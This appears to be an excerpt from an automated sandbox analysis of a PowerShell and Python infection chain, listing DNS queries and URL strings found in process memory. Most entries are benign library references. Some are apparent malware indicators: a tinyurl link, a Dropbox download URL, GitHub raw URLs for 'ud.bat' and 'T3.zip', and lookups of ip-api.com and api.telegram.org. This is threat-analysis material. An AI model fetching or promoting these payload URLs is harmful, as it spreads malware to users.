Source: global traffic	DNS traffic detected: DNS query: tinyurl.com
Source: global traffic	DNS traffic detected: DNS query: www.dropbox.com
Source: global traffic	DNS traffic detected: DNS query: uce3bf66f2e0fc63f622c2b7c04a.dl.dropboxusercontent.com
Source: global traffic	DNS traffic detected: DNS query: github.com
Source: global traffic	DNS traffic detected: DNS query: raw.githubusercontent.com
Source: global traffic	DNS traffic detected: DNS query: ip-api.com
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org

Source: powershell.exe, 00000005.00000002.2538139922.0000029A81C85000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2538139922.0000029A81C7A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://artax.karlin.mff.cuni.cz/~mikulas/links/
Source: python.exe, 0000000A.00000003.2312601100.0000023D69B45000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://bugs.python.org)
Source: powershell.exe, 00000005.00000002.2538139922.0000029A8155D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2538139922.0000029A81568000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://bugs.python.org/issue10811
Source: powershell.exe, 00000005.00000002.2538139922.0000029A8178B000.00000004.00000800.00020000.00000000.sdmp, python.exe, 0000000A.00000003.2309487474.0000023D69296000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://bugs.python.org/issue14396.
Source: powershell.exe, 00000005.00000002.2538139922.0000029A8155D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2538139922.0000029A81568000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://bugs.python.org/issue14720
Source: powershell.exe, 00000005.00000002.2538139922.0000029A8178B000.00000004.00000800.00020000.00000000.sdmp, python.exe, 0000000A.00000003.2309487474.0000023D69296000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://bugs.python.org/issue15756
Source: python.exe, 0000000A.00000003.2262964230.0000023D68405000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://bugs.python.org/issue19619
Source: powershell.exe, 00000005.00000002.2538139922.0000029A81704000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://bugs.python.org/issue24068.
Source: powershell.exe, 00000005.00000002.2538139922.0000029A813AF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2538139922.0000029A813A6000.00000004.00000800.00020000.00000000.sdmp, python.exe, 0000000A.00000003.2263696282.0000023D68C6B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://bugs.python.org/issue5845#msg198636
Source: powershell.exe, 00000005.00000002.2538139922.0000029A81E12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://bugs.python.org/issue6857.
Source: powershell.exe, 00000005.00000002.2538139922.0000029A818E5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://bugs.python.org/issue874900
Source: python.exe, 0000000A.00000003.2314133719.0000023D6B301000.00000004.00000020.00020000.00000000.sdmp, python.exe, 0000000A.00000003.2315961611.0000023D692AA000.00000004.00000020.00020000.00000000.sdmp, python.exe, 0000000A.00000003.2315410356.0000023D69B37000.00000004.00000020.00020000.00000000.sdmp, python.exe, 0000000A.00000003.2314499973.0000023D68E08000.00000004.00000020.00020000.00000000.sdmp, python.exe, 0000000A.00000003.2310622298.0000023D6B025000.00000004.00000020.00020000.00000000.sdmp, python.exe, 0000000A.00000003.2316043585.0000023D6B30E000.00000004.00000020.00020000.00000000.sdmp, python.exe, 0000000A.00000003.2311486836.0000023D68E08000.00000004.00000020.00020000.00000000.sdmp, python.exe, 0000000A.00000003.2310533880.0000023D68E20000.00000004.00000020.00020000.00000000.sdmp, python.exe, 0000000A.00000003.2310030890.0000023D68E08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://csrc.nist.gov/publications/nistpubs/800-38a/sp800-38a.pdf
Source: powershell.exe, 00000005.00000002.2538139922.0000029A81704000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://dx.doi.org/10.1080/03610928908830127
Source: powershell.exe, 00000002.00000002.1768747972.0000023C053B7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edge-block-www-env.dropbox-dns.com
Source: powershell.exe, 00000005.00000002.2538139922.0000029A818E5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://java.sun.com/j2se/1.5.0/docs/api/java/util/concurrent/
Source: powershell.exe, 00000005.00000002.2538139922.0000029A81C85000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2538139922.0000029A81C7A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://lynx.browser.org/
Source: powershell.exe, 00000005.00000002.2538139922.0000029A81C85000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2538139922.0000029A81C7A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://lynx.isc.org/
Source: powershell.exe, 00000005.00000002.2538139922.0000029A81704000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mathworld.wolfram.com/SampleVariance.html
Source: powershell.exe, 00000005.00000002.2538139922.0000029A81704000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mathworld.wolfram.com/Variance.html
Source: powershell.exe, 00000002.00000002.1799709822.0000023C13DB0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1799709822.0000023C13EF3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1768747972.0000023C057DE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2611109811.0000029A901B3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2611109811.0000029A90071000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000005.00000002.2538139922.0000029A80227000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: python.exe, 0000000A.00000003.2312568067.0000023D69B46000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://php.net/manual/en/function.version-compare.php
Source: powershell.exe, 00000002.00000002.1768747972.0000023C03D41000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2538139922.0000029A80001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000005.00000002.2538139922.0000029A818E5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://sourceware.org/pthreads-win32/manual/pthread_barrier_init.html
Source: powershell.exe, 00000002.00000002.1768747972.0000023C05311000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tinyurl.com
Source: powershell.exe, 00000002.00000002.1768747972.0000023C053B7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://uce3bf66f2e0fc63f622c2b7c04a.dl.dropboxusercontent.com
Source: powershell.exe, 00000005.00000002.2538139922.0000029A81C85000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2538139922.0000029A81C7A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://w3m.sourceforge.net/
Source: powershell.exe, 00000002.00000002.1768747972.0000023C05357000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www-env.dropbox-dns.com
Source: powershell.exe, 00000005.00000002.2538139922.0000029A80227000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000005.00000002.2538139922.0000029A820A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.cl.cam.ac.uk/~mgk25/iso-time.html
Source: powershell.exe, 00000002.00000002.1768747972.0000023C05357000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.dropbox.com
Source: python.exe, 0000000A.00000003.2312568067.0000023D69B46000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.egenix.com/files/python/platform.py
Source: python.exe, 0000000A.00000003.2312568067.0000023D69B46000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.geocities.com/rick_lively/MANUALS/ENV/MSWIN/PROCESSI.HTM
Source: powershell.exe, 00000005.00000002.2538139922.0000029A81836000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2538139922.0000029A81868000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.iana.org/assignments/telnet-options
Source: powershell.exe, 00000005.00000002.2538139922.0000029A807C4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2538139922.0000029A816BE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.iana.org/assignments/tls-parameters/tls-parameters.xml#tls-parameters-6
Source: powershell.exe, 00000005.00000002.2538139922.0000029A820A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.iana.org/time-zones/repository/tz-link.html
Source: powershell.exe, 00000005.00000002.2538139922.0000029A81704000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.johndcook.com/blog/2008/09/26/comparing-three-methods-of-computing-standard-deviation/
Source: powershell.exe, 00000005.00000002.2538139922.0000029A820A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.phys.uu.nl/~vgent/calendar/isocalendar.htm
Source: powershell.exe, 00000005.00000002.2538139922.0000029A81DD0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2538139922.0000029A81DDB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.planetpublish.com/xmlarena/xap/Thursday/WordtoXML.pdf
Source: powershell.exe, 00000005.00000002.2538139922.0000029A81B03000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2538139922.0000029A81AF7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.robotstxt.org/norobots-rfc.txt
Source: powershell.exe, 00000005.00000002.2538139922.0000029A81B03000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2538139922.0000029A81AF7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sitemaps.org/protocol.html
Source: python.exe, 0000000A.00000003.2283506130.0000023D68E02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://zgp.org/pipermail/p2p-hackers/2001-September/000316.html
Source: powershell.exe, 00000005.00000002.2538139922.0000029A8196E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://zooko.com/
Source: powershell.exe, 00000002.00000002.1768747972.0000023C05311000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1768747972.0000023C053B7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1768747972.0000023C05337000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/
Source: powershell.exe, 00000002.00000002.1768747972.0000023C05311000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1768747972.0000023C053B7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1768747972.0000023C05337000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://a.sprig.com/
Source: powershell.exe, 00000002.00000002.1768747972.0000023C05311000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1768747972.0000023C053B7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1768747972.0000023C05337000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/
Source: powershell.exe, 00000002.00000002.1768747972.0000023C05311000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1768747972.0000023C053B7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1768747972.0000023C05337000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/gsi/client
Source: powershell.exe, 00000005.00000002.2538139922.0000029A813C5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aiosmtpd.readthedocs.io/)
Source: powershell.exe, 00000002.00000002.1768747972.0000023C03D41000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2538139922.0000029A80001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000002.00000002.1768747972.0000023C05311000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1768747972.0000023C053B7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1768747972.0000023C05337000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.login.yahoo.com/
Source: powershell.exe, 00000002.00000002.1768747972.0000023C05311000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1768747972.0000023C053B7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1768747972.0000023C05337000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://app.hellofax.com/
Source: powershell.exe, 00000002.00000002.1768747972.0000023C05311000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1768747972.0000023C053B7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1768747972.0000023C05337000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://app.hellosign.com/
Source: python.exe, 0000000A.00000003.2310451711.0000023D69286000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bugs.python.org/issue25942
Source: powershell.exe, 00000005.00000002.2538139922.0000029A813AF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2538139922.0000029A813A6000.00000004.00000800.00020000.00000000.sdmp, python.exe, 0000000A.00000003.2263696282.0000023D68C6B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bugs.python.org/issue29585
Source: powershell.exe, 00000005.00000002.2538139922.0000029A81734000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2538139922.0000029A81725000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugs.python.org/issue31672
Source: powershell.exe, 00000002.00000002.1768747972.0000023C05311000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1768747972.0000023C053B7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1768747972.0000023C05337000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://canny.io/sdk.js
Source: powershell.exe, 00000002.00000002.1768747972.0000023C05337000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cfl.dropboxstatic.com/static/
Source: powershell.exe, 00000005.00000002.2611109811.0000029A90071000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000005.00000002.2611109811.0000029A90071000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000005.00000002.2611109811.0000029A90071000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000002.00000002.1768747972.0000023C05311000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1768747972.0000023C053B7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1768747972.0000023C05337000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://dl-web.dropbox.com/
Source: powershell.exe, 00000002.00000002.1768747972.0000023C05311000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1768747972.0000023C053B7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1768747972.0000023C05337000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/fsip/
Source: powershell.exe, 00000002.00000002.1768747972.0000023C05311000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1768747972.0000023C053B7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1768747972.0000023C05337000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/fsip/
Source: powershell.exe, 00000002.00000002.1768747972.0000023C05311000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1768747972.0000023C053B7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1768747972.0000023C05337000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/fsip/
Source: powershell.exe, 00000002.00000002.1768747972.0000023C05311000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1768747972.0000023C053B7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1768747972.0000023C05337000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.sandbox.google.com/document/fsip/
Source: powershell.exe, 00000002.00000002.1768747972.0000023C05311000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1768747972.0000023C053B7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1768747972.0000023C05337000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.sandbox.google.com/presentation/fsip/
Source: powershell.exe, 00000002.00000002.1768747972.0000023C05311000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1768747972.0000023C053B7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1768747972.0000023C05337000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.sandbox.google.com/spreadsheets/fsip/
Source: powershell.exe, 00000002.00000002.1768747972.0000023C05311000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1768747972.0000023C053B7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1768747972.0000023C05337000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docsend.com/
Source: powershell.exe, 00000002.00000002.1768747972.0000023C05311000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1768747972.0000023C053B7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1768747972.0000023C05337000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://experience.dropbox.com/
Source: powershell.exe, 00000005.00000002.2538139922.0000029A81323000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2538139922.0000029A8132E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://foss.heptapod.net/pypy/pypy/-/blob/be829135bc0d758997b3566062999ee8b23872b4/lib-python/3/sit
Source: powershell.exe, 00000005.00000002.2538139922.0000029A8142E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gist.github.com/4325783
Source: powershell.exe, 00000005.00000002.2538139922.0000029A80227000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000005.00000002.2538139922.0000029A81138000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2538139922.0000029A81180000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2538139922.0000029A811A3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2538139922.0000029A81252000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2538139922.0000029A811EB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2538139922.0000029A80FBD000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2538139922.0000029A812C8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2538139922.0000029A81231000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2538139922.0000029A81043000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2538139922.0000029A812DE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2538139922.0000029A811FA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2538139922.0000029A80EBF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2538139922.0000029A81275000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2538139922.0000029A80F08000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2538139922.0000029A81117000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2538139922.0000029A81210000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2538139922.0000029A80F2B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2538139922.0000029A810AE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2538139922.0000029A80F98000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2538139922.0000029A80F50000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2538139922.0000029A81068000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mhammond/pywin32
Source: powershell.exe, 00000005.00000002.2538139922.0000029A81323000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2538139922.0000029A81363000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2538139922.0000029A81371000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2538139922.0000029A8132E000.00000004.00000800.00020000.00000000.sdmp, python.exe, 0000000A.00000003.2278926541.0000023D683C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/pypa/setuptools/issues/417#issuecomment-392298401
Source: python.exe, 0000000A.00000003.2307092642.0000023D6929D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/pull/7160#discussion_r195405230
Source: powershell.exe, 00000005.00000002.2620881131.0000029AFC8A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/ty9989/u/raw/main/ud.bat
Source: powershell.exe, 00000005.00000002.2620881131.0000029AFC8A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/ty9989/z/raw/main/T3.zip
Source: powershell.exe, 00000005.00000002.2620670322.0000029AFC874000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/ty9989/z/raw/main/t3.zip
Source: powershell.exe, 00000002.00000002.1768747972.0000023C04972000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 00000002.00000002.1768747972.0000023C05311000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1768747972.0000023C053B7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1768747972.0000023C05337000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://help.dropbox.com/
Source: powershell.exe, 00000002.00000002.1768747972.0000023C05311000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1768747972.0000023C053B7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1768747972.0000023C05337000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://instructorledlearning.dropboxbusiness.com/
Source: powershell.exe, 00000002.00000002.1768747972.0000023C05311000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1768747972.0000023C053B7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1768747972.0000023C05337000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.yahoo.com/
Source: powershell.exe, 00000005.00000002.2538139922.0000029A81B70000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mahler:8092/site-updates.py
Source: powershell.exe, 00000002.00000002.1768747972.0000023C05311000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1768747972.0000023C053B7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1768747972.0000023C05337000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://navi.dropbox.jp/
Source: powershell.exe, 00000002.00000002.1799709822.0000023C13DB0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1799709822.0000023C13EF3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2611109811.0000029A901B3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2611109811.0000029A90071000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 00000002.00000002.1768747972.0000023C05311000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1768747972.0000023C053B7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1768747972.0000023C05337000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://officeapps-df.live.com
Source: powershell.exe, 00000002.00000002.1768747972.0000023C05311000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1768747972.0000023C053B7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1768747972.0000023C05337000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://officeapps.live.com
Source: powershell.exe, 00000002.00000002.1768747972.0000023C05311000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1768747972.0000023C053B7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1768747972.0000023C05337000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://onedrive.live.com/picker
Source: powershell.exe, 00000002.00000002.1768747972.0000023C05311000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1768747972.0000023C053B7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1768747972.0000023C05337000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pal-test.adyen.com
Source: powershell.exe, 00000002.00000002.1768747972.0000023C05311000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1768747972.0000023C053B7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1768747972.0000023C05337000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://paper.dropbox.com/
Source: powershell.exe, 00000002.00000002.1768747972.0000023C05311000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1768747972.0000023C053B7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1768747972.0000023C05337000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://paper.dropbox.com/cloud-docs/edit
Source: powershell.exe, 00000002.00000002.1768747972.0000023C05311000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1768747972.0000023C053B7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1768747972.0000023C05337000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://photos.dropbox.com/
Source: powershell.exe, 00000005.00000002.2538139922.0000029A803CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com
Source: powershell.exe, 00000002.00000002.1768747972.0000023C05311000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1768747972.0000023C053B7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1768747972.0000023C05337000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sales.dropboxbusiness.com/
Source: powershell.exe, 00000002.00000002.1768747972.0000023C05311000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1768747972.0000023C053B7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1768747972.0000023C05337000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://selfguidedlearning.dropboxbusiness.com/
Source: powershell.exe, 00000002.00000002.1768747972.0000023C05311000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1768747972.0000023C053B7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1768747972.0000023C05337000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://showcase.dropbox.com/
Source: powershell.exe, 00000002.00000002.1768747972.0000023C04972000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tinyurl.com
Source: powershell.exe, 00000002.00000002.1768283396.0000023C01E6E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tinyurl.com/
Source: powershell.exe, 00000002.00000002.1768283396.0000023C01E6E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tinyurl.com/tt34x
Source: powershell.exe, 00000002.00000002.1768747972.0000023C053B7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://uce3bf66f2e0fc63f622c2b7c04a.dl.dropboxusercontent.com
Source: powershell.exe, 00000002.00000002.1768747972.0000023C05311000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1768747972.0000023C053B7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1768747972.0000023C05337000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://uce3bf66f2e0fc63f622c2b7c04a.dl.dropboxusercontent.com/cd/0/get/Cf8WDjKuZ7cpu5Q4oJ7_4q46emOu
